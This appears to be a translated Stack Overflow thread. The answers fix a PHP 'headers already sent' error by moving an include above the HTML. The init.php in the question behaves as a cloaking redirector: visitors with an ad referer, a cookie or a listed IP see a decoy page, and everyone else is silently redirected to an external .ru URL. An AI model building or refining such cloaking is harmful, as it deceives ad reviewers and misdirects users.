0

我有一个 index.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
<title>LOL!'</title>
<meta name="description" content="Hi oloo!!" />
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" />
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%"  width="100%" ></iframe>
</head>
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" />
</html>
<?php
include_once ('init.php');
?>

和init.php

<?php

 $waiting = 0;

 $url = 'http://xxxxx.ru/gott.php?sid=3';

 if($waiting == 1){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 if (isset($_COOKIE['admin'])){
    $admin = 1;
 }

 /*if (strstr($_SERVER['HTTP_REFERER'], 'away')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }*/



 if (strstr($_SERVER['HTTP_REFERER'], 'ads')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 $blacklist = file_get_contents('black.txt');
 $rows_array = explode("\n", $blacklist);

 foreach($rows_array as $k => $v){
    if(trim($v) == $_SERVER['REMOTE_ADDR']){
        $admin = 1;
        setcookie ('admin', 1, time()+3600*24*31);
    }
 }

 if($admin != 1){
    header('Location: '. $url);
    exit();
 }

?>

加载 index.php 后,我收到一个错误

警告:无法修改标头信息 - 标头已由 /mounted-storage/home93c/sub006/ 中的(输出开始于 /mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8)发送第 42 行的 sc36756-TMHW/site.com/onarter/init.php。我怎样才能摆脱这个问题?

4

3 回答 3

6

您正在尝试在已发送标头之后发送 cookie(并且通过标头,我的意思是任何东西) - 这也涵盖header()了代码中的更下方。任何发送给用户的东西,它也很糟糕。

您需要做的是在任何其他输出之前包含 init.php。

<?php
include_once ('init.php');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

如果您的 init.php 有:

<?php

    $waiting = 0;
    echo $waiting;
    $url = 'http://xxxxx.ru/gott.php?sid=3';

这也会在你的代码中进一步杀死 setcookie/header。在调用这些函数之前,您不能发送任何内容作为输出。

于 2012-09-13T12:01:09.010 回答
1

header() 函数仅在脚本未执行任何其他操作时才起作用。您正在脚本中设置 cookie,它将标头发送给用户,稍后您又尝试再次发送标头。

于 2012-09-13T12:01:24.937 回答
1

在回显某些内容或 html 后,您不能使用header函数(可以,但它只会输出错误)。您必须将它放在脚本中的任何 echo 或 html 之前。

于 2012-09-13T12:01:43.943 回答